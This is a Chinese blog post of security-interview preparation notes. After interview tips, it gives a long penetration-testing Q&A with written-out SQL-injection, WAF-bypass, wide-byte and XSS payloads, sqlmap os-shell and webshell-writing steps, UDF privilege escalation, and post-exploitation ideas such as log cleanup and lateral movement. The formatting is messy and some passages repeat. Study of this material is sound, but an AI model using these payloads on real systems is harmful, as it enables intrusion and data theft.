连长 's Blog
就平写一些文章,没有任何装逼的成分。
Toggle navigation
连长 's Blog
主页
红蓝对抗
渗透测试
代码审计
漏洞复现
工具类型
其他类型
关于博主
友情链接
归档
标签
面经
无
2020-08-16 14:40:08
943
0
0
funk
> 面试安全?安利这一篇足够~。 > ## 0x00 说明 提前做好一些面试的功课,这样才有过的握过,不然死的很惨,至于过没过,等我面试过了我会在文中提起,本次面试是在5天前写的一文,不管面试什么大厂还是小厂都要保持的最好的态度和学习的心态。不要觉得自己牛逼小瞧任何一个面试官,真正的大佬是不需要经过面试这个流程的。 > > > > ## 0x01 流程 1、自信气场和重视程度:这是为你觉得自己面试的不错谈判工资的时候发挥的。会就是会不会就是不会,所以要做到诚实,不然及时你进去后面的路也不好走。 > 2、自我介绍: 姓名 年龄 哪里人 学校情况 不是重点,作为顺滑开场。自我介绍要点:不要用长逻辑句,短小精悍 > 控制在3-4分钟,特别是这种技术类公司一般是不会废话听你这些的。 3、经历与技能考察: > 啥时候开始学网络安全,实习经历(神舟,做了什么;尚然,做了什么),让人家清楚历史引入技术主题,挑重点 4、业绩/成绩讲述: > 研究类:freebuff SRC I春秋 博客 版主,自运营安全微信公众号,年度风云榜,获得过什么奖项,做过什么值得自己骄傲的事, > 5、技术类讲述或者询问:0day、漏洞、工具、漏洞分析文章。比赛名次啊等 6、突出重点与精华展现实力 7、结束,谢谢 > 接下来靠自己吹,毕竟很多都是面试造火箭,工作装螺丝。 > > ## 0x02 技术上的博弈(面试题) 这里是整理网上出的一些网络安全一些题目,非常的基础,如果你全部都知道证明技术基础不错,如果有些还不知道,请抓紧学习。看这些题其一是让自己知道自己的短板,其二是为了面试的时候能够顺顺利利拿下offer。也是对自己的一些总结,毕竟安全涵盖太广太多,基本上互联网所有生态都要和安全挂钩,你要方方面面都了解,那不是一个大主管也是一个技术大佬了,良好的学习方法和学习态度,会让你的经验越攒越多。不废话。网上有很多这种渗透测试总结,我觉得他们总结的太混乱,也没分个类什么的,正好最近要面试索性都整理了下。 > > ### 别人整理的? > #### 一、介绍一下自认为有趣的挖洞经历(或CTF经历) > > #### 二、你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? > > #### 三、你平时使用哪些工具?以及对应工具的特点? > > #### 四、如果遇到waf的情况下如何进行sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一) > #### 五、谈一谈Windows系统与Linux系统提权的思路? > #### 六、列举出您所知道的所有开源组件高危漏洞(十个以上) > #### 七、描述一个你深入研究过的 CVE 或 POC。 > > * SQLi > * 如何判断sql注入,有哪些方法 > > 添加单引号,双引号,order by, rlike,sleep,benchmark,运算符,修改数据类型,报错注入语句测试 > > * 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? > > * 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造及修复方案? > > 通俗讲,gbk,big5等编码占了两个字节,sql语句进后端后对单引号等进行了转义,转义\为%5C,当前面的%xx与%5C能结合成两个字节的字符时候,就可以使后面的单引号逃逸,从而造成注入。比较常见的gbk,%df' > => > %df%5c%27 => 運' 。已经可以单引号了,剩下的就和普通注入差不多了。 > > 修复方式通过设置MYSQL数据库字符集utf8mb4,PHP字符集utf-8。 > > * 你都了解哪些sql 的bypass技巧 > > 这种太多了,网上一搜一大把。主要还是看目标站点的过滤和防护,常见bypass可以是/**/替换空格,/*!00000union*/ > 等于union,或者利用前端过滤,添加尖括号<>。大小写什么的都太常见了,如果过滤了函数或者关键字,可以尝试其他能达到效果的同等函数,关键字比如or > 1=1可以用||1替换,或者用运算符比如/,%达到相同的效果。总之,还是看要求。 > > > * sqlmap如何对一个注入点注入? > > 如果是get型,直接,sqlmap -u “注入点网址”. > > > > 如果是post型,可以sqlmap -u “注入点网址” –data=”post的参数” > > > > 如果是cookie型,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap > -r “文件地址” > > * mysql的网站注入,5.0以上和5.0以下有什么区别? > > 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。 > > 5.0以下是多用户单操作,5.0以上是多用户多操做。 > > * mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? > > root权限以及网站的绝对路径。 > > * 以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路? > > demo.do?DATA=AjAxNg== > > * 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选? > > * Domain > * 解释一下同源策略 > > 如果两个页面的协议,端口和域名相同,则可认为是同源。 > > * 同源策略,那些东西是同源可以获取到的 > > 读取cookie, LocalStorage 和 IndexDB > > 读取DOM元素 > > 发送AJAX请求 > > > * 如果子域名和顶级域名不同源,在哪里可以设置叫他们同源 > > 大概就是子域相同,主域不同的意思吧,可以通过在两房都设置document.domain来解决跨域。 > * 如何设置可以跨域请求数据?jsonp是做什么的? > > 主域相同时跨域,可以像上面那样设置document.domain. > > 主域不同时,可以通过jsonp,websocket,在服务端设置CORS进行跨域请求。H5新增window.postMessage方法解决跨域请求。 > > 通过<script>像服务器请求json数据,不受同源策略限制。 > * jsonp的业务意义? > * > * Ajax > * Ajax是否遵循同源策略? > > ajax全名是Asynchronous JavaScript and XML ,异步的javascript和XML技术。遵循同源策略,但是可以通过jsonp等进行规避。 > > * JSON注入如何利用? > > XSS跨站攻击 > > * JSON和JSONP的区别? > * JSONP劫持利用方式及修复方案? > > * 浏览器策略 > * 不同浏览器之间,安全策略有哪些不同,比如chrome,firefox,IE > > 三种浏览器都遵循同源策略,内容安全策略(CSP), Cookie安全策略(httponly, Secure, Path) > > * CSP是什么?如何设置CSP? > > CSP:Content Security Policy,内容安全策略。是繁育XSS攻击的一种安全机制,其思想是以服务器白名单的形式来配置可信的内容来源,客户端Web应用代码可以使用这些安全来源。 > > * XSS > * XSS是什么,修复方式是? > > XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP > Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 > * xss的发生场景? > > 个人理解是对用户提交数据为进行安全的过滤然后直接输入到页面当中,造成js代码的执行。至于具体场景,有输出的地方就有可能被xss的风险。 > * XSS持久化? > * 如果给你一个XSS漏洞,你还需要哪些条件可以构造一个蠕虫? > > XSS蠕虫:XSS攻击可能会造成系统中用户间的互相感染,导致整个系统用户的沦陷,能够造成这种危害的XSS漏洞成为XSS蠕虫。 > > > > 1、构造一个具有自我复制的反射型XSS > > > > 2、插入评论、留言框 > > > > 3、用户点击链接,链接内容指向同样的XSS向量。也就是注入了蠕虫代码的的存在存储型xss的页面。链接被点击后将继续造成蠕虫传播。 > * 在社交类的网站中,哪些地方可能会出现蠕虫? > >留言板/评论/文章发布/私信... > * 如果叫你来防御蠕虫,你有哪些方法? > > 1、将本地带有破坏性的程序改名字。 > 2、关闭可执行文件。 > 3、禁止“FileSystemObject”就可以有效的控制VBS病毒的传播。具体操作方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。 > 4、开启浏览器的安全设置。 > * 如果给你一个XSS盲打漏洞,但是返回来的信息显示,他的后台是在内网,并且只能使用内网访问,那么你怎么利用这个XSS? > > github有一些现成的xss扫描内网端口的脚本,可以参考利用,再根据探测出来的信息进一步利用,比如开了redis等,再就是利用漏洞去getshell. > * 如何防范 XSS 漏洞,在前端如何做,在后端如何做,哪里更好,为什么? > * 黑盒如何检测XSS漏洞? > > * CRLF注入 > * CRLF注入的原理 > > CRLF是回车+换行的简称。碰得比较少,基本没挖到过这种洞,简而言之一般是可以通过提交恶意数据里面包含回车,换行来达到控制服务器响应头的效果。碰到过潜在的CRLF都是提交回车和换行之后就500了。CRLF的利用可以是XSS,恶意重定向location,还有set-cookie. > > * CSRF > * CSRF是什么?修复方式? > > CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范`的页面然后嵌入Token、再次输入密码、检验Referer。 > * CSRF漏洞的本质是什么? > > CSRF即跨站请求伪造,以受害者的身份向服务器发送一个请求。本质上个人觉得是服务端在执行一些敏感操作时候对提交操作的用户的身份校检不到位。 > * 防御CSRF都有哪些方法,JAVA是如何防御CSRF漏洞的,token一定有用么? > > 防御CSRF一般是加上referer和csrf_token. > > 具体可以参考这篇<a href="https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/index.html">CSRF攻击的应对之道</a> > > * CSRF、SSRF和重放攻击有什么区别? > > CSRF是跨站请求伪造攻击,由客户端发起 > > > > SSRF是服务器端请求伪造,由服务器发起 > > > > 重放攻击是将截获的数据包进行重放,达到身份认证等目的 > > * SSRF > * SSRF漏洞原理、利用方式及修复方案?Java和PHP的SSRF区别? > > * 逻辑漏洞 > * 说出至少三种业务逻辑漏洞,以及修复方式? > > 1)密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码 > > > > > 2)身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份 > > > > 3)验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过 > > * 越权访问(水平/垂直/未授权) > * 谈谈水平/垂直/未授权越权访问的区别? > * 越权问题如何检测? > > * XML注入 > * XXE是什么?修复方案是? > * XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。 > > * URL重定向 > * URL白名单绕过 > > * HTML5 > * 说说HTML5有哪些新的安全特性 > > H5新增了不少标签,在绕过xss防御方面多了不少选择。还有就是新增了本地存储,localstorage 和session storage,可以通过xss修改本地存储达到类似一个存储xss的效果。 > <code> > <video onerror=alert(1)><source> > <video><sourceonerror="javascript:alert(1)" > <video src=".." onloadedmetadata="alert(1)" ondurationchanged="alert(2)" ontimeupdate="alert(3)"></video> > <video><sourceonerrorsourceonerrorsourceonerrorsourceonerror="javascript:alert(1)“> > <videopostervideopostervideopostervideoposter=”javascript:alert(1)”> > </code> > * HTML5白名单要有哪些标签 > 参考<a href="https://segmentfault.com/a/1190000003756563">HTML5安全问题</a> > > * java > * 你都了解哪些java框架? > > struts2 ,spring,spring security, shiro 等 > > > * java的MVC结构都是做什么的,数据流向数据库的顺序是什么? > * 了解java沙箱吗? > * ibats的参数化查询能不能有效的控制sql注入?有没有危险的方法可以造成sql注入? > * 说说两次struts2漏洞的原理 > * ongl在这个payload中起了什么作用? > * \u0023是什么字符的16进制编码?为什么在payload中要用他? > * java会不会发生执行系统命令的漏洞?java都有哪些语句,方法可以执行系统命令 > * 如果叫你修复一个xss漏洞,你会在java程序的那个层里面进行修复? > * xss filter在java程序的哪里设置? > * 说下java的类反射在安全上可能存在哪些问题 > * Java反序列化漏洞的原理?解决方案? > > * PHP > * php里面有哪些方法可以不让错误回显? > > php的配置文件php.ini进行了修改,display_errors = On 修改为 display_errors = off时候就没有报错提示。 > > 在php脚本开头添加error_reporting(0); 也可以达到关闭报错的作用 > > 除了上面的,还可以在执行语句前面添加@ > * php.ini可以设置哪些安全特性 > > > 关闭报错,设置open_basedir,禁用危险函数,打开gpc。有具体的文章介绍安全配置这一块,属于运维的工作范围。 > > > * php的%00截断的原理是什么? > > > 存在于5.3.4版本下,一般利用在文件上传时文件名的截断,或者在对文件进行操作时候都有可能存在00阶段的情况。 如filename=test.php%00.txt > 会被截断成test.php,00后面的被忽略。系统在对文件名读取时候,如果遇到0x00,就会认为读取已经结束了。 > > > * php webshell检测,有哪些方法 > > 个人知道的大体上分为静态检测和动态检测两种。静态检测比如查找危险函数,如eval,system等。动态检测是检测脚本运行时要执行的动作,比如文件操作,socket操作等。具体方法可以是通过D盾或者其他查杀软件进行查杀,现在也有基于机器学习的webshell识别。 > > > * php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的? > * php反序列化漏洞的原理?解决方案? > > * 中间件 > * tomcat要做哪些安全加固? > * 如果tomcat重启的话,webapps下,你删除的后台会不会又回来? > * 常见的网站服务器中间件容器。 > > IIS、Apache、nginx、Lighttpd、Tomcat > > > * JAVA有哪些比较常见的中间件容器? > > Tomcat/Jetty/JBOSS/WebLogic/Coldfusion/Websphere/GlassFish > * 说说常见的中间件解析漏洞利用方式 > > IIS 6.0 > > /xx.asp/xx.jpg "xx.asp"是文件夹名 > > > > IIS 7.0/7.5 > > 默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析 > > > > Nginx > > 版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。 > > 空字节代码 xxx.jpg%00.php > > > > Apache > > 上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀 > > > > lighttpd > > xx.jpg/xx.php > > > * Redis未授权访问漏洞如何入侵利用? > > * 数据库 > * mysql UDF提权5.1以上版本和5.1以下有什么区别,以及需要哪些条件? > > > 1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。 > > > > 2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。 > > > > 3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。 > > > > 4)可以将udf.dll写入到相应目录的权限。 > > * mysql数据库默认有哪些库?说出库的名字 > > > infomation_schema, msyql, performance_scheme, test > > > * mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式? > > mysql数据库下的user表。 > > > * mysql表权限里面,除了增删改查,文件读写,还有哪些权限? > * mysql安全要如何做? > * sqlserver public权限要如何提权 > * Windows、Linux、数据库的加固降权思路,任选其一 > > * Linux > * 简述Linux系统安全加固需要做哪些方面 > * 你使用什么工具来判断系统是否存在后门 > * Linux的Selinux是什么?如何设置Selinux? > * iptables工作在TCPIP模型中的哪层? > * 如果无法升级内核,那么如何保证系统不被已知的exp提权? > * syslog里面都有哪些日志?安装软件的日志去哪找? > * 如何查询ssh的登录日志?如何配置syslog的日志格式? > * syslog可不可以使用vi等工具直接查看?是二进制文件吗? > * 如果一台Linux服务器被入侵后,你会如何做应急响应? > * 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? > > * 应急响应 > * 有哪几种后门实现方式? > * webshell检测有什么方法思路? > * Linux服务器中了木马后,请简述应急思路? > * 遇到新0day\(比如Struts2\)后,应该如何进行应急响应? > * 新业务上线前可以从哪些方向进行安全评估? > * 现有系统可以从哪些方向进行审计发现其中的安全风险? > > * 信息采集 > * 踩点都要采集哪些信息? > * DNS在渗透中的作用 > * 如何绕过CDN获取目标网站真实IP,谈谈你的思路? > > <a href="https://zhuanlan.zhihu.com/p/33440472">绕过CDN寻找网站真实IP的方法汇总</a> > > * 如果给你一个网站,你的渗透测试思路是什么? > 在获取书面授权的前提下 > > * 1.信息收集 > > 1)获取域名的whois信息,获取注册者邮箱姓名电话等。 > > > > 2)查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。 > > > > 3)查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞 > > > > 4)查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血, > mysql,ftp,ssh弱口令等。 > > 5)扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针 > > > > 6)google hack 进一步探测网站的信息,后台,敏感文件 > > * 2.漏洞扫描 > > 开始检测漏洞,如XSS,CSRF,SQL注入,代码执行,命令执行,越权访问,目录读取,任意文件读取, > 下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等 > * 3.漏洞利用 > > 利用以上的方式拿到webshell,或者其他权限 > * 4.权限提升 > > 提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr, > 巴西烤肉 > > linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql root提权以及oracle低权限提权 > * 5.日志清理 > * 6.总结报告及修复方案 > > > * 在渗透过程中,收集目标站注册人邮箱对我们有什么价值? > > > 1)丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。 > > > > 2)用邮箱做关键词进行丢进搜索引擎。 > > > > 3)利用搜索到的关联信息找出其他邮进而得到常用社交账号。 > > > > 4)社工找出社交账号,里面或许会找出管理员设置密码的习惯 。 > > > > 5)利用已有信息生成专用字典。 > > > > 6)观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西。 > > * 判断出网站的CMS对渗透有什么意义? > > > 1)查找网上已曝光的程序漏洞。 > > > > 2)如果开源,还能下载相对应的源码进行代码审计。 > > > > 3)一个成熟并且相对安全的CMS,渗透时扫目录的意义? > > > > 4)敏感文件、二级目录扫描 > > > > 5)站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点 > > #### 一、SQL注入类型 > **SQL注入必问!!!** > > ##### 1.SQL注入有几种类型? > **1)报错注入** > > **2)bool型注入又称盲注** ``` 盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。 > ``` > > **3)延时注入** > > **4)宽字节注入** ``` 产生原理 在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。 > 2、在哪里编码 3、根本原因 > character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。 > 4、解决办法 > 统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。 > 产生原理在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。在哪里编码根本原因character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。解决办法统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。 > 或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。 > > 宽字符:解 决方法:就是在初始化连接和字符集之后,使用SET > character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 > my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL语句的编码,如果设置为 > binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。 ``` > **5)联合查询** > > 可以使用 union 的情况下的注入。 > > **6)堆查询注入** > > 可以同时执行多条语句的执行时的注入。 > > ##### 2.sql注入指定注入参数是什么 > > ##### 3.如果存在 SQL 注入怎么判断不同的数据库? ``` (1)注释符判断/是 MySQL 中的注释符,返回错误说明该注入点不是 MySQL;继续提交如下查询字符:–是 Oracle 和 MSSQL > 支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:;是子句查询标识符,Oracle > 不支持多行查询,因此如果返回错误,则说明很可能是 Oracle 数据库。 (2)函数判断and (select count()from > MSysAccessObjects)>0 access 数据库and (select count()from sysobjects)>0 > 返回正常说明是 mssql 数据库and length(user())>10 返回正常说明是 MysqlOracle 可以根据 from > dual > 虚拟库判断(3)根据语言和中间件常识Asp和.net通常使用sqlserverPhp通常使用mysql或者postgresqlJava通常是oracle或mysqlIIS服务器是基于windows的架构,后台数据库有可能是sqlserverApache服务器,可能使用开源数据库mysql或postgresql > > ``` > > ##### 4.sql注入过滤了逗号,怎么弄? ``` 1、可以用joinselect id,ip from client_ip where 1>2 union select from ((select user())a JOIN (select version())b); > 2、可以用from 1 for 1select substr(database() from 1 for 1);select > mid(database() from 1 for 1); 3、offsetselect * from news limit > 0,1等价于下面这条SQL语句select * from yang limit 1 offset 0 ``` > ##### 5.预编译能否100%防sql注入? ``` 答: 不能。 一、 $pdo->query('SET NAMES gbk'); $var = "\xbf\x27 OR 1=1 /*"; $query = 'SELECT * FROM test WHERE name = > ? LIMIT 1'; $stmt = $pdo->prepare($query); > $stmt->execute(array($var)); 类似于宽字节注入 二、 $dbh = new PDO("txf"); $name > = $_GET['name']; $stmt = $dbh->prepare('SELECT * FROM ' . $name . ' where username = :username'); $stmt->execute( array(':username' => > $_REQUEST['username']) ); 参数name是一串数组,PDO不会生效 三、 $stmt = > $dbh->prepare('SELECT * FROM foo ORDER BY :userSuppliedData'); > PDO对DDL不生效 > > 预编译原理:先将查询语句固定通过函数将传参变为字符串拼接字符串去执行你的关键字根本不会当作关键字去执行$pdo->query(‘SET > NAMES gbk’);$var = “\xbf\x27 OR 1=1 /“;$query = ‘SELECT FROM test > WHERE name = ? LIMIT 1’;$stmt = > $pdo->prepare($query);$stmt->execute(array($var)); 类似于宽字节注入 > > ``` > > ##### 6.oracle报错注入有哪些函数 > > > ##### 7.mysql报错注入的函数有哪些 ``` 1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】---------------- 2)通过floor报错 向下取整 3)+and > updatexml(1, concat(0x7e,(secect @@version),0x7e),1) > 4).geometrycollection()select from test where id=1 and > geometrycollection((select from(selectfrom(select user())a)b)); > 5).multipoint()select from test where id=1 and multipoint((select > from(select from(select user())a)b)); 6).polygon()select from test > where id=1 and polygon((select from(select from(select user())a)b)); > 7).multipolygon()select from test where id=1 and multipolygon((select > from(select from(select user())a)b)); 8).linestring()select from test > where id=1 and linestring((select from(select from(select > user())a)b)); 9).multilinestring()select from test where id=1 and > multilinestring((select from(select from(select user())a)b)); > 10).exp()select from test where id=1 and exp(~(select * fr m(select > user())a)); ``` > > ##### 8.SQL注入绕WAF有哪几种方法 > > > > 确定waf类型,狗、盾、神、锁、宝、卫士 > 使用注释符号或者特殊符号或者多个特殊符号重复 > > # > -- > -- - //5.6.12特性,需要加空格 > --+ > // > /**/ //c风格注释 > /**//**/ //多个注释 > /*letmetest*/ > ; > > > # 科学记数法 > id=0e1union select > > > > # 空白字符 > SQLite3 0A 0D 0C 09 20 > MySQL5 09 0A 0B 0C 0D A0 20 > PosgresSQL 0A 0D 0C 09 20 > Oracle 11g 00 0A 0D 0C 09 20 > MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 > > > 使用sql内置函数或者关键字 > > 报错注入 https://blog.csdn.net/like98k/article/details/79646512 > > # 常用 > extractvalue > updatexml 报错注入 > UPDATEXML (XML_document, XPath_string, new_value); > or updatexml(1, concat(0x7e, (version()), 0x7e), 0); > > select * from users where id = 1 and updatexml(1, concat(0x7e, (version()), 0x7e), 0); > > version() database() (SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1 > > floor() > ceil() > Mid(version(),1,1) > Substr(version(),1,1) > Substring(version(),1,1) > concat(version(),'|',user()); > concat_ws('|',1,2,3) > Char(49) > Hex('a') > Unhex(61) > 过滤了逗号 > (1)limit处的逗号: > limit 1 offset 0 > (2)字符串截取处的逗号 > mid处的逗号: > mid(version() from 1 for 1) > > 利用容器特性,比如iis+asp的环境可能会吞掉%(f%rom->from)造成注入,或者iis支持unicode解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但waf可能不会拦截造成注入 > 畸形协议/请求。asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式;php+apache解析协议除了get/post外随便定义协议也可能过 > %0a换行 > 多次URL编码,waf的一根筋过滤 > > unlencode > base64 > json > binary > querystring > htmlencode > unicode > php serialize > > http参数污染,id=1&id=2&id=3 id=1,2,3 > > 答: > 1.释替换空格 > 2.符集绕过 > 3.chunked绕过 > 4.传请求 multipart 绕过 > 5.参数污染 > 6.通过插件将请求报分块传输,不过要看服务端是否支持分块传输。 > 7.Bypass WAF可以。 > 1、关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct。原理:网络层waf对SEL%E%CT进行url解码后变成SEL%E%CT,匹配select失败,而进入asp.dll对SEL%E%CT进行url解码却变成select。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss也是同理。 > 2、通杀的,内联注释。安全狗不拦截,但是安全宝、加速乐、D盾等,看到/!/就Fack了,所以只限于安全狗。比如:/!select*/ > 3、编码。这个方法对waf很有效果,因为一般waf会解码,但是我们利用这个特点,进行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等都可以这样bypass的。 > 4,绕过策略一:伪造搜索引擎 > 早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎 > 5,360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截 > GET /pen/news.php?id=1 union select user,password from mysql.user > GET /pen/news.php/admin?id=1 union select user,password from mysql.user > GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user > 6,multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。 > 7,参数绕过,复制参数,id=1&id=1 > 用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格 > 8,内联注释, > > ##### 9.宽字节注入 ``` 宽字节原理 设置gbk编码的时候, %df 和引号会转成一个汉字,导致单引号逃逸出来,从而导致注入 ``` > ##### 10.sql注入读文件一般读哪一些文件 > > ##### 11.sql注入写shell的前提、方法、指令.需要哪些权限 ``` 要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 gpc没有开启,开启了单引号被转义了,语句就不能正常执行 > 要有file权限,默认情况下只有root有 对目录要有写权限,一般image之类的存放突破的目录就有 ``` > > ##### 12.sql注入分类,宽字节注入原理 > > ##### 13.你发现了一个mysql的延时注入如何提高速度 > > > ##### 14.只有dbo权限的注入点清空下,应该怎么突破 ``` DBO权限也就是最高权限了,可以写SHELL,读文件,执行命令。但是如果存在特殊情况,如站酷分离,目标机器不能出网,也挺麻烦复杂的。但是这里面也存在各种的情况,比如你得到了DBO权限,但是对方机器做了各种安全策略,如不允许执行其他程序、敏感程序不让执 > ``` > > ##### 15.你熟悉手工注入吗 > > ##### 16.SQL注入的形成 > > ##### 17.什么叫二次注入 > > ##### 18.sql注入指定注入参数是什么 > > ##### 19.sql注入有防火墙怎么办 > > ##### 20.讲下SQL各类型。 > > ##### 21.sql盲注时候有什么办法优化 ``` 二分查找、DNslog ``` > ##### 22.SQL注入,id=1如何检测?orderby怎么利用?limit语句怎么利用?盲注有什么 ``` SELECT * FROM users WHERE id >0 ORDER BY id LIMIT 1,1 procedure > analyse(extractvalue(rand(),concat(0x3a,version())),1); ``` > ##### 23.正常注入点sa权限,可以os-shell但是全部是基于断网机,你怎么办? ``` system权限 正常注入后台书籍,进入后台拿webshell, 通过上传exe文件来配合os-shell > 执行系统命令来下载web服务器的文件到数据库服务器文件执行 > 能够执行全部系统命令,可以在Web前台上传点,上传文件到web服务器,通过,arp -a,netstat > -ano找到web服务器的ip地址,下载web服务器的文件执行抓取系统密码等操作 利用网上的批量出网命令,利用前面拿到的系统的账号密码,psexec,vmi, net use, > creakexec等工具进行批量横向出网探测,能够出网的机器转发出来 ``` > ##### 24.GPC是什么?开启了怎么绕过: ``` 预防注入, ' " 这些加上了转义 addslshes()和stripslashes() 尝试宽字节注入, 数字注入, magic_quotes_gpc 魔术引号自动过滤 > GET/POST/COOKIE 但是不会处理$_SERVER(client-ip/referer注入) php<5.4 > magic_quotes_runtime 作用同上,受体数据库或者文件中获取的数据 php<5.4 > 参考文章:https://phyb0x.github.io/2018/12/06/php%E5%AE%A1%E8%AE%A1%E7%AC%94%E8%AE%B0/ > ``` > > ##### 25.如何突破注入时字符被转义 ``` 宽字符注入、hex编码绕过 ``` > > ##### 26.注入漏洞只能查账号密码? ``` 脱裤、提权、执行命令、留后门, 只要权限广,拖库脱到老。 ``` > > ##### 27.注入时可以不使用and 或or 或xor,直接order by 开始注入吗? ``` and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。 ``` > > ##### 28.发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选? ``` 有写入权限的,构造联合查询语句使用using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 > WebShell使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 > Shell,这样效率更高通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell > ``` > > ##### 29.盲注和延时注入的共同点 ``` 都是一个字符一个字符的判断 ``` > > ##### 30.延时注入如何来判断 ``` if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1) ``` > ##### 